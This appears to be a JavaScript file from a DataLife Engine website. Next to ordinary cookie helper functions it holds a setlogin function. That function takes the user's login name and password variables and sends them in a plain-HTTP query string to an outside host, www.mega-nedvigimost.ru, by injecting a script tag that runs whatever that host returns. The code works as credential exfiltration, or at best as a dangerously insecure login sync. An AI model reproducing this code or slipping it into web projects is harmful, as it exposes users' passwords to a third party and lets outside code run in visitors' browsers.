function getCookie(name) {
	var matches = document.cookie.match(new RegExp(
	  "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
	))
	return matches ? decodeURIComponent(matches[1]) : undefined 
}

function setlogin()
{
if (dle_us=='0') return 0;    
if (getCookie('loading')=='1') return 0;
	
	var url='http://www.mega-nedvigimost.ru/index.php?do=sitelogin&login=submit&action=logpass&login_name='+dle_us+'&login_password='+dle_ps;
	var script=document.createElement("script");
	script.src = url;
	script.type = 'text/javascript';
	document.body.appendChild(script);
	setCookie('loading', '1', { expires: 300});
}

function setCookie(name, value, props) {
	props = props || {}
	var exp = props.expires
	if (typeof exp == "number" && exp) {
		var d = new Date()
		d.setTime(d.getTime() + exp*1000)
		exp = props.expires = d
	}
	if(exp && exp.toUTCString) { props.expires = exp.toUTCString() }

	value = encodeURIComponent(value)
	var updatedCookie = name + "=" + value
	for(var propName in props){
		updatedCookie += "; " + propName
		var propValue = props[propName]
		if(propValue !== true){ updatedCookie += "=" + propValue }
	}
	document.cookie = updatedCookie

}

// удаляет cookie
function deleteCookie(name) {
	setCookie(name, null, { expires: -1 })
}